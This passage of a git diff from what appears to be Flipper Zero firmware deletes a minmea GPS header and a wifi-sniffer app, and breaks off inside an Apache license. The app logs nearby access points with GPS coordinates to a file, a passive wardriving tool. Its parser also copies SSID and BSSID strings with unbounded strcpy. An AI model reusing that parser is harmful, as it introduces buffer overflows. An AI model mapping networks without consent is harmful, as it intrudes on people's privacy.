minmea_parse_gsa(struct minmea_sentence_gsa* frame, const char* sentence); -bool minmea_parse_gll(struct minmea_sentence_gll* frame, const char* sentence); -bool minmea_parse_gst(struct minmea_sentence_gst* frame, const char* sentence); -bool minmea_parse_gsv(struct minmea_sentence_gsv* frame, const char* sentence); -bool minmea_parse_vtg(struct minmea_sentence_vtg* frame, const char* sentence); -bool minmea_parse_zda(struct minmea_sentence_zda* frame, const char* sentence); - -/** - * Convert GPS UTC date/time representation to a UNIX calendar time. - */ -int minmea_getdatetime( - struct tm* tm, - const struct minmea_date* date, - const struct minmea_time* time_); - -/** - * Convert GPS UTC date/time representation to a UNIX timestamp. - */ -int minmea_gettime( - struct timespec* ts, - const struct minmea_date* date, - const struct minmea_time* time_); - -/** - * Rescale a fixed-point value to a different scale. Rounds towards zero. - */ -static inline int_least32_t minmea_rescale(const struct minmea_float* f, int_least32_t new_scale) { - if(f->scale == 0) return 0; - if(f->scale == new_scale) return f->value; - if(f->scale > new_scale) - return (f->value + ((f->value > 0) - (f->value < 0)) * f->scale / new_scale / 2) / - (f->scale / new_scale); - else - return f->value * (new_scale / f->scale); -} - -/** - * Convert a fixed-point value to a floating-point value. - * Returns NaN for "unknown" values. - */ -static inline float minmea_tofloat(const struct minmea_float* f) { - if(f->scale == 0) return NAN; - return (float)f->value / (float)f->scale; -} - -/** - * Convert a raw coordinate to a floating point DD.DDD... value. - * Returns NaN for "unknown" values. - */ -static inline float minmea_tocoord(const struct minmea_float* f) { - if(f->scale == 0) return NAN; - if(f->scale > (INT_LEAST32_MAX / 100)) return NAN; - if(f->scale < (INT_LEAST32_MIN / 100)) return NAN; - int_least32_t degrees = f->value / (f->scale * 100); - int_least32_t minutes = f->value % (f->scale * 100); - return (float)degrees + (float)minutes / (60 * f->scale); -} - -/** - * Check whether a character belongs to the set of characters allowed in a - * sentence data field. - */ -static inline bool minmea_isfield(char c) { - return isprint((unsigned char)c) && c != ',' && c != '*'; -} - -#ifdef __cplusplus -} -#endif - -#endif /* MINMEA_H */ - -/* vim: set ts=4 sw=4 et: */ diff --git a/applications/external/advanced_wifisniff/sniff.png b/applications/external/advanced_wifisniff/sniff.png deleted file mode 100644 index c74df7091..000000000 Binary files a/applications/external/advanced_wifisniff/sniff.png and /dev/null differ diff --git a/applications/external/advanced_wifisniff/sniffer.c b/applications/external/advanced_wifisniff/sniffer.c deleted file mode 100644 index ce1a1b193..000000000 --- a/applications/external/advanced_wifisniff/sniffer.c +++ /dev/null @@ -1,835 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include - -#include "helpers/minmea.h" -#include "wifisniffer_icons.h" - -#define appname "ll-wifisniffer" - -#define RX_BUF_SIZE 2048 -#define MAX_ACCESS_POINTS 2048 // imagine getting this many access points - -#define MAX_SSID_LENGTH 32 -#define MAX_BSSID_LENGTH 18 - -#define UART_CH_ESP \ - (XTREME_SETTINGS()->uart_esp_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) - -#define UART_CH_GPS \ - (XTREME_SETTINGS()->uart_nmea_channel == UARTDefault ? FuriHalUartIdUSART1 : \ - FuriHalUartIdLPUART1) - -#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtRxDone = (1 << 1), -} WorkerEvtFlags; - -typedef enum { - EventTypeKey, - EventTypeTick, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} Event; - -typedef struct { - char* recievedMac; - char* sentMac; -} Packet; - -typedef struct { - char* ssid; - char* bssid; - int8_t rssi; - uint8_t channel; - FuriHalRtcDateTime datetime; - uint16_t packetRxCount; - uint16_t packetTxCount; - float latitude; - float longitude; -} AccessPoint; - -typedef struct { - FuriMessageQueue* queue; - FuriMutex* mutex; - FuriString* buffer; - FuriString* buffer2; - NotificationApp* notifications; - FuriThread* thread_esp; - FuriStreamBuffer* rx_stream_esp; - uint8_t rx_buf_esp[2048]; - FuriThread* thread_gps; - FuriStreamBuffer* rx_stream_gps; - uint8_t rx_buf_gps[2048]; - File* file; - char* dataString; - uint16_t access_points_count; - AccessPoint access_points[MAX_ACCESS_POINTS]; - int16_t access_points_index; - AccessPoint active_access_point; - bool extra_info; - bool pressedButton; - float last_latitude; - float last_longitude; -} Context; - -static void tick_callback(void* ctx_q) { - furi_assert(ctx_q); - FuriMessageQueue* queue = ctx_q; - Event event = {.type = EventTypeTick}; - furi_message_queue_put(queue, &event, 0); -} - -static void input_callback(InputEvent* input_event, FuriMessageQueue* queue) { - furi_assert(queue); - Event event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(queue, &event, FuriWaitForever); -} - -static void show_access_point(Canvas* canvas, Context* context) { - Context* ctx = context; - - AccessPoint ap = ctx->active_access_point; - - canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignBottom, ap.ssid); - - canvas_set_font(canvas, FontSecondary); - - canvas_draw_str_aligned( - canvas, 38 + (ctx->access_points_count > 99 ? 5 : 0), 12, AlignLeft, AlignBottom, ap.bssid); - - furi_string_printf(ctx->buffer, "Signal strength: %ddBm", ap.rssi); - canvas_draw_str_aligned( - canvas, 3, 35, AlignLeft, AlignBottom, furi_string_get_cstr(ctx->buffer)); - - furi_string_printf(ctx->buffer, "CH: %d", ap.channel); - canvas_draw_str_aligned( - canvas, 3, 47, AlignLeft, AlignBottom, furi_string_get_cstr(ctx->buffer)); - - if(ap.latitude == 0 && ap.longitude == 0) { - canvas_draw_str_aligned(canvas, 29, 47, AlignLeft, AlignBottom, "X"); - } else { - canvas_draw_str_aligned(canvas, 29, 47, AlignLeft, AlignBottom, "O"); - } - - furi_string_printf(ctx->buffer, "%d", ap.packetRxCount); - canvas_draw_icon(canvas, 35, 39, &I_down); - canvas_draw_str_aligned( - canvas, 45, 47, AlignLeft, AlignBottom, furi_string_get_cstr(ctx->buffer)); - - furi_string_printf(ctx->buffer, "%d", ap.packetTxCount); - canvas_draw_icon(canvas, 85, 38, &I_up); - canvas_draw_str_aligned( - canvas, 95, 47, AlignLeft, AlignBottom, furi_string_get_cstr(ctx->buffer)); - - furi_string_printf( - ctx->buffer, - "Seen: %d:%d:%d (%lds ago)", - ap.datetime.hour, - ap.datetime.minute, - ap.datetime.second, - furi_hal_rtc_get_timestamp() - furi_hal_rtc_datetime_to_timestamp(&ap.datetime)); - canvas_draw_str_aligned( - canvas, 3, 59, AlignLeft, AlignBottom, furi_string_get_cstr(ctx->buffer)); -} - -static void render_callback(Canvas* canvas, void* context) { - Context* ctx = context; - - canvas_draw_frame(canvas, 0, 0, 128, 64); - - canvas_set_font(canvas, FontPrimary); - - if(ctx->access_points_count >= MAX_ACCESS_POINTS) { - canvas_draw_str(canvas, 118, 10, "!"); - } - - if(ctx->access_points_count == 0) { - canvas_draw_str(canvas, 80, 30, "No AP's"); - canvas_draw_str(canvas, 80, 40, "Found!"); - canvas_draw_icon(canvas, 1, 4, &I_DolphinWait_61x59); - } else { - canvas_draw_frame(canvas, 0, 0, 35 + (ctx->access_points_count > 99 ? 5 : 0), 15); - - furi_string_printf( - ctx->buffer, "%d/%d", ctx->access_points_index + 1, ctx->access_points_count); - - canvas_draw_str(canvas, 3, 12, furi_string_get_cstr(ctx->buffer)); - - show_access_point(canvas, ctx); - } - // canvas_clear(canvas); - furi_mutex_release(ctx->mutex); -} - -// order ctx->access_points by ssid alphabetically -static void sort_access_points(Context* ctx) { - for(int i = 0; i < ctx->access_points_count; i++) { - for(int j = i + 1; j < ctx->access_points_count; j++) { - if(strcmp(ctx->access_points[i].ssid, ctx->access_points[j].ssid) > 0) { - AccessPoint temp = ctx->access_points[i]; - ctx->access_points[i] = ctx->access_points[j]; - ctx->access_points[j] = temp; - } - } - } -} - -// set the index from the active access point -static void set_index_from_access_points(Context* ctx) { - for(int i = 0; i < ctx->access_points_count; i++) { - if(ctx->access_points[i].bssid == ctx->active_access_point.bssid) { - ctx->access_points_index = i; - break; - } - } -} - -static void removeSpaces(char* str) { - // Remove spaces from the beginning of the string - int i = 0; - while(isspace((unsigned char)str[i])) { - i++; - } - - // Move the remaining characters to the beginning of the string - int j = 0; - while(str[i] != '\0') { - str[j++] = str[i++]; - } - str[j] = '\0'; - - // Remove spaces from the end of the string - int len = strlen(str); - while(len > 0 && isspace((unsigned char)str[len - 1])) { - str[--len] = '\0'; - } -} - -static void parseLine(void* context, char* line) { - Context* ctx = context; - - AccessPoint ap = {.ssid = malloc(MAX_SSID_LENGTH + 1), .bssid = malloc(MAX_BSSID_LENGTH + 1)}; - - Packet pkt = {.recievedMac = malloc(18 + 1), .sentMac = malloc(18 + 1)}; - - char* token = strtok(line, ","); - int i = 0; - bool isAp = false; - bool isValid = true; - UNUSED(isValid); - while(token != NULL) { - switch(i) { - case 0: - if(strcmp(token, "AR") == 0) { - isAp = true; - isValid = true; - } else if(strcmp(token, "PK") == 0) { - isAp = false; - isValid = true; - } - break; - case 1: - if(isAp && isValid) { - removeSpaces(token); - strcpy(ap.ssid, token); - } else if(!isAp && isValid) { - strncpy(pkt.recievedMac, token, 18); - pkt.recievedMac[18] = '\0'; - } - break; - case 2: - if(isAp && isValid) { - strcpy(ap.bssid, token); - } else if(!isAp && isValid) { - strncpy(pkt.sentMac, token, 18); - pkt.sentMac[18] = '\0'; - } - break; - case 3: - if(isAp && isValid) { - ap.rssi = atoi(token); - } - break; - case 4: - if(isAp && isValid) { - ap.channel = atoi(token); - } - break; - } - - token = strtok(NULL, ","); - i++; - } - - if(isAp && isValid) { - // free the packet - free(pkt.recievedMac); - free(pkt.sentMac); - - // check if values are valid - // bssid needs an ":" - // rssi needs to be negative - // channel needs to be between 1 and 14 - // ssid needs to be at least 1 character long - if(ap.bssid[2] != ':' || ap.bssid[5] != ':' || ap.bssid[8] != ':' || ap.bssid[11] != ':' || - ap.bssid[14] != ':' || ap.rssi > 0 || ap.channel < 1 || ap.channel > 14 || - strlen(ap.ssid) < 1) { - free(ap.ssid); - free(ap.bssid); - return; - } - - furi_hal_light_set(LightBlue, 0); - furi_hal_light_set(LightGreen, 255); - - furi_hal_rtc_get_datetime(&ap.datetime); - - if(isnan(ctx->last_latitude) || isnan(ctx->last_longitude)) { - ctx->last_latitude = 0; - ctx->last_longitude = 0; - } else { - ap.latitude = ctx->last_latitude; - ap.longitude = ctx->last_longitude; - } - - // check if ap is already in the list otherwise add it but update the rssi - bool found = false; - for(size_t i = 0; i < ctx->access_points_count; i++) { - if(strcmp(ctx->access_points[i].bssid, ap.bssid) == 0) { - found = true; - //update rssi channel datetime - ctx->access_points[i].rssi = ap.rssi; - ctx->access_points[i].channel = ap.channel; - ctx->access_points[i].datetime = ap.datetime; - ctx->access_points[i].latitude = ap.latitude; - ctx->access_points[i].longitude = ap.longitude; - - if(strcmp(ctx->active_access_point.bssid, ap.bssid) == 0) { - ctx->active_access_point.rssi = ap.rssi; - ctx->active_access_point.channel = ap.channel; - ctx->active_access_point.datetime = ap.datetime; - ctx->active_access_point.latitude = ap.latitude; - ctx->active_access_point.longitude = ap.longitude; - } - - free(ap.ssid); - free(ap.bssid); - - break; - } - } - - if(!found) { - memcpy(&ctx->access_points[ctx->access_points_count], &ap, sizeof(AccessPoint)); - ctx->access_points_count++; - } - - sort_access_points(ctx); - set_index_from_access_points(ctx); - } else { - // it is a packet so screw the ap - free(ap.ssid); - free(ap.bssid); - - // check if values are valid - // mac needs to be 6 characters long - if(strlen(pkt.recievedMac) != 17 || strlen(pkt.sentMac) != 17 || - ctx->access_points_count == 0) { - free(pkt.recievedMac); - free(pkt.sentMac); - return; - } - - furi_hal_light_set(LightGreen, 0); - furi_hal_light_set(LightBlue, 255); - - for(size_t i = 0; i < ctx->access_points_count; i++) { - if(strcmp(ctx->access_points[i].bssid, pkt.recievedMac) == 0) { - ctx->access_points[i].packetRxCount++; - break; - } - } - - for(size_t i = 0; i < ctx->access_points_count; i++) { - if(strcmp(ctx->access_points[i].bssid, pkt.sentMac) == 0) { - ctx->access_points[i].packetTxCount++; - break; - } - } - - free(pkt.recievedMac); - free(pkt.sentMac); - } -} - -static void uart_cb_esp(UartIrqEvent ev, uint8_t data, void* context) { - Context* ctx = (Context*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(ctx->rx_stream_esp, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(ctx->thread_esp), WorkerEvtRxDone); - } -} - -static int32_t uart_worker_esp(void* context) { - Context* ctx = (Context*)context; - - size_t rx_offset = 0; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEvtStop) { - break; - } - - if(events & WorkerEvtRxDone) { - size_t len = 0; - do { - // receive serial bytes into rx_buf, starting at rx_offset from the start of the buffer - // the maximum we can receive is RX_BUF_SIZE - 1 - rx_offset - len = furi_stream_buffer_receive( - ctx->rx_stream_esp, - ctx->rx_buf_esp + rx_offset, - RX_BUF_SIZE - 1 - rx_offset, - 0); - - if(len > 0) { - // increase rx_offset by the number of bytes received, and null-terminate rx_buf - rx_offset += len; - ctx->rx_buf_esp[rx_offset] = '\0'; - - // look for strings ending in newlines, starting at the start of rx_buf - char* line_current = (char*)ctx->rx_buf_esp; - while(1) { - // skip null characters - while(*line_current == '\0' && - line_current < (char*)ctx->rx_buf_esp + rx_offset - 1) { - line_current++; - } - - // find the next newline - char* newline = strchr(line_current, '\n'); - if(newline) // newline found - { - // put a null terminator in place of the newline, to delimit the line string - *newline = '\0'; - - parseLine(ctx, line_current); - - // move the cursor to the character after the newline - line_current = newline + 1; - } else // no more newlines found - { - if(line_current > - (char*)ctx->rx_buf_esp) // at least one line was found - { - // clear parsed lines, and move any leftover bytes to the start of rx_buf - rx_offset = 0; - while( - *line_current) // stop when the original rx_offset terminator is reached - { - ctx->rx_buf_esp[rx_offset++] = *(line_current++); - } - } - break; // go back to receiving bytes from the serial stream - } - } - } - } while(len > 0); - } - } - - furi_hal_uart_set_irq_cb(UART_CH_ESP, NULL, NULL); - - furi_stream_buffer_free(ctx->rx_stream_esp); - - return 0; -} - -static void gps_uart_parse_nmea(Context* ctx, char* line) { - switch(minmea_sentence_id(line, false)) { - case MINMEA_SENTENCE_RMC: { - struct minmea_sentence_rmc frame; - if(minmea_parse_rmc(&frame, line)) { - ctx->last_latitude = minmea_tocoord(&frame.latitude); - ctx->last_longitude = minmea_tocoord(&frame.longitude); - } - } break; - - case MINMEA_SENTENCE_GGA: { - struct minmea_sentence_gga frame; - if(minmea_parse_gga(&frame, line)) { - ctx->last_latitude = minmea_tocoord(&frame.latitude); - ctx->last_longitude = minmea_tocoord(&frame.longitude); - } - } break; - - case MINMEA_SENTENCE_GLL: { - struct minmea_sentence_gll frame; - if(minmea_parse_gll(&frame, line)) { - ctx->last_latitude = minmea_tocoord(&frame.latitude); - ctx->last_longitude = minmea_tocoord(&frame.longitude); - } - } break; - - default: - break; - } -} - -static void uart_cb_gps(UartIrqEvent ev, uint8_t data, void* context) { - Context* ctx = (Context*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(ctx->rx_stream_gps, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(ctx->thread_gps), WorkerEvtRxDone); - } -} - -static int32_t uart_worker_gps(void* context) { - Context* ctx = (Context*)context; - - size_t rx_offset = 0; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEvtStop) { - break; - } - - if(events & WorkerEvtRxDone) { - size_t len = 0; - do { - // receive serial bytes into rx_buf, starting at rx_offset from the start of the buffer - // the maximum we can receive is RX_BUF_SIZE - 1 - rx_offset - len = furi_stream_buffer_receive( - ctx->rx_stream_gps, - ctx->rx_buf_gps + rx_offset, - RX_BUF_SIZE - 1 - rx_offset, - 0); - - if(len > 0) { - // increase rx_offset by the number of bytes received, and null-terminate rx_buf - rx_offset += len; - ctx->rx_buf_gps[rx_offset] = '\0'; - - // look for strings ending in newlines, starting at the start of rx_buf - char* line_current = (char*)ctx->rx_buf_gps; - while(1) { - // skip null characters - while(*line_current == '\0' && - line_current < (char*)ctx->rx_buf_gps + rx_offset - 1) { - line_current++; - } - - // find the next newline - char* newline = strchr(line_current, '\n'); - if(newline) // newline found - { - // put a null terminator in place of the newline, to delimit the line string - *newline = '\0'; - - // FURI_LOG_I(appname, "Received line: %s", line_current); - - gps_uart_parse_nmea(ctx, line_current); - - // move the cursor to the character after the newline - line_current = newline + 1; - } else // no more newlines found - { - if(line_current > - (char*)ctx->rx_buf_gps) // at least one line was found - { - // clear parsed lines, and move any leftover bytes to the start of rx_buf - rx_offset = 0; - while( - *line_current) // stop when the original rx_offset terminator is reached - { - ctx->rx_buf_gps[rx_offset++] = *(line_current++); - } - } - break; // go back to receiving bytes from the serial stream - } - } - } - } while(len > 0); - } - } - - furi_hal_uart_set_irq_cb(UART_CH_GPS, NULL, NULL); - - furi_stream_buffer_free(ctx->rx_stream_gps); - - return 0; -} - -int32_t wifisniffer_app(void* p) { - UNUSED(p); - - // if(UART_CH_ESP == UART_CH_GPS) { - // FURI_LOG_I(appname, "ESP and GPS uart can't be the same"); - // return -1; - // } - - // turn off 5v, so it gets reset on startup - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - - // Enable 5v on startup - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - furi_delay_ms(200); - - // alloc everything - Context* ctx = malloc(sizeof(Context)); - ctx->queue = furi_message_queue_alloc(8, sizeof(Event)); - ctx->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - ctx->buffer = furi_string_alloc(); - ctx->buffer2 = furi_string_alloc(); - ctx->notifications = furi_record_open(RECORD_NOTIFICATION); - - ctx->access_points_count = 0; - ctx->access_points_index = 0; - - ctx->pressedButton = false; - - //esp uart - ctx->rx_stream_esp = furi_stream_buffer_alloc(RX_BUF_SIZE * 5, 1); - - ctx->thread_esp = furi_thread_alloc(); - furi_thread_set_name(ctx->thread_esp, "LLwifiSnifferUartWorkerESP"); - furi_thread_set_stack_size(ctx->thread_esp, 2048); - furi_thread_set_context(ctx->thread_esp, ctx); - furi_thread_set_callback(ctx->thread_esp, uart_worker_esp); - - furi_thread_start(ctx->thread_esp); - - if(UART_CH_ESP == FuriHalUartIdUSART1) { - furi_hal_console_disable(); - } else if(UART_CH_ESP == FuriHalUartIdLPUART1) { - furi_hal_uart_init(UART_CH_ESP, 115200); - } - furi_hal_uart_set_br(UART_CH_ESP, 115200); - furi_hal_uart_set_irq_cb(UART_CH_ESP, uart_cb_esp, ctx); - - furi_hal_uart_tx(UART_CH_ESP, (uint8_t*)"XFW#WIFISNIFF=1\r\n", strlen("XFW#WIFISNIFF=1\r\n")); - //end esp uart - - //gps uart - if(UART_CH_ESP != UART_CH_GPS) { - ctx->rx_stream_gps = furi_stream_buffer_alloc(RX_BUF_SIZE * 5, 1); - - ctx->thread_gps = furi_thread_alloc(); - furi_thread_set_name(ctx->thread_gps, "LLwifiSnifferUartWorkerGPS"); - furi_thread_set_stack_size(ctx->thread_gps, 2048); - furi_thread_set_context(ctx->thread_gps, ctx); - furi_thread_set_callback(ctx->thread_gps, uart_worker_gps); - - furi_thread_start(ctx->thread_gps); - - if(UART_CH_GPS == FuriHalUartIdUSART1) { - furi_hal_console_disable(); - } else if(UART_CH_GPS == FuriHalUartIdLPUART1) { - furi_hal_uart_init(UART_CH_GPS, 9600); - } - furi_hal_uart_set_br(UART_CH_GPS, 9600); - furi_hal_uart_set_irq_cb(UART_CH_GPS, uart_cb_gps, ctx); - } - //end gps uart - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, ctx); - view_port_input_callback_set(view_port, input_callback, ctx->queue); - - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - FuriTimer* timer = furi_timer_alloc(tick_callback, FuriTimerTypePeriodic, ctx->queue); - furi_timer_start(timer, 100); - - // application loop - Event event; - bool processing = true; - do { - if(furi_message_queue_get(ctx->queue, &event, FuriWaitForever) == FuriStatusOk) { - furi_mutex_acquire(ctx->mutex, FuriWaitForever); - switch(event.type) { - case EventTypeKey: - // applicatie verlaten - if(event.input.type == InputTypeShort && event.input.key == InputKeyBack) { - processing = false; - } else if(event.input.type == InputTypeLong && event.input.key == InputKeyBack) { - processing = false; - } else if(event.input.type == InputTypeLong && event.input.key == InputKeyOk) { - // remove accespoint - if(ctx->access_points_count > 0) { - for(int i = ctx->access_points_index; i < ctx->access_points_count - 1; - i++) { - ctx->access_points[i] = ctx->access_points[i + 1]; - } - ctx->access_points_count--; - if(ctx->access_points_index >= ctx->access_points_count) { - ctx->access_points_index = ctx->access_points_count - 1; - } - } - } else if(event.input.type == InputTypePress && event.input.key == InputKeyDown) { - ctx->access_points_index--; - if(ctx->access_points_index < 0) { - ctx->access_points_index = ctx->access_points_count - 1; - } - ctx->active_access_point = ctx->access_points[ctx->access_points_index]; - } else if(event.input.type == InputTypePress && event.input.key == InputKeyUp) { - ctx->access_points_index++; - if(ctx->access_points_index >= ctx->access_points_count) { - ctx->access_points_index = 0; - } - ctx->active_access_point = ctx->access_points[ctx->access_points_index]; - } else if(event.input.type == InputTypePress && event.input.key == InputKeyLeft) { - } else if(event.input.type == InputTypePress && event.input.key == InputKeyRight) { - } - ctx->pressedButton = true; - break; - case EventTypeTick: - - // fix for the empty active access point when there was no interaction - if(!ctx->pressedButton) { - ctx->access_points_index = 0; - ctx->active_access_point = ctx->access_points[ctx->access_points_index]; - } - - break; - - default: - break; - } - - view_port_update(view_port); - } else { - processing = false; - } - } while(processing); - - // save the data to the file - Storage* storage = furi_record_open(RECORD_STORAGE); - FuriHalRtcDateTime datetime; - furi_hal_rtc_get_datetime(&datetime); - - FuriString* filename = furi_string_alloc(); - furi_string_printf( - filename, - "%d_%d_%d_%d_%d_%d.txt", - datetime.year, - datetime.month, - datetime.day, - datetime.hour, - datetime.minute, - datetime.second); - - FuriString* path = furi_string_alloc(); - furi_string_printf(path, "/ext/apps_data/llsniffer/%s", furi_string_get_cstr(filename)); - - // open file - ctx->file = storage_file_alloc(storage); - - if(!storage_common_exists(storage, EXT_PATH("apps_data/llsniffer"))) { - storage_common_mkdir(storage, EXT_PATH("apps_data/llsniffer")); - } - - if(!storage_file_open(ctx->file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_OPEN_ALWAYS)) { - FURI_LOG_E(appname, "Failed to open file"); - } - - for(int i = 0; i < ctx->access_points_count; i++) { - AccessPoint ap = ctx->access_points[i]; - furi_string_printf( - ctx->buffer2, - "%s,%s,%s,%d,%d,%d,%d,%d,%d,%d,%d,%f,%f\r\n", - "Accesspoint", - ap.ssid, - ap.bssid, - ap.rssi, - ap.channel, - ap.datetime.year, - ap.datetime.month, - ap.datetime.day, - ap.datetime.hour, - ap.datetime.minute, - ap.datetime.second, - (double)ap.latitude, - (double)ap.longitude); - - if(!storage_file_write( - ctx->file, - furi_string_get_cstr(ctx->buffer2), - strlen(furi_string_get_cstr(ctx->buffer2)))) { - FURI_LOG_E(appname, "Failed to write AP to file"); - } - } - - // free everything - furi_record_close(RECORD_NOTIFICATION); - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - furi_record_close(RECORD_GUI); - furi_message_queue_free(ctx->queue); - furi_mutex_free(ctx->mutex); - - furi_thread_flags_set(furi_thread_get_id(ctx->thread_esp), WorkerEvtStop); - furi_thread_join(ctx->thread_esp); - furi_thread_free(ctx->thread_esp); - - if(UART_CH_ESP != UART_CH_GPS) { - furi_thread_flags_set(furi_thread_get_id(ctx->thread_gps), WorkerEvtStop); - furi_thread_join(ctx->thread_gps); - furi_thread_free(ctx->thread_gps); - } - - storage_file_close(ctx->file); - storage_file_free(ctx->file); - furi_record_close(RECORD_STORAGE); - free(ctx); - - furi_hal_light_set(LightBlue, 0); - furi_hal_light_set(LightGreen, 0); - - if(UART_CH_ESP == FuriHalUartIdLPUART1) { - furi_hal_uart_deinit(UART_CH_ESP); - } else if(UART_CH_ESP == FuriHalUartIdUSART1) { - furi_hal_console_enable(); - } - - if(UART_CH_GPS == FuriHalUartIdLPUART1) { - furi_hal_uart_deinit(UART_CH_GPS); - } else if(UART_CH_GPS == FuriHalUartIdUSART1) { - furi_hal_console_enable(); - } - - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - - return 0; -} diff --git a/applications/external/airmouse/LICENSE b/applications/external/airmouse/LICENSE deleted file mode 100644 index 261eeb9e9..000000000 --- a/applications/external/airmouse/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 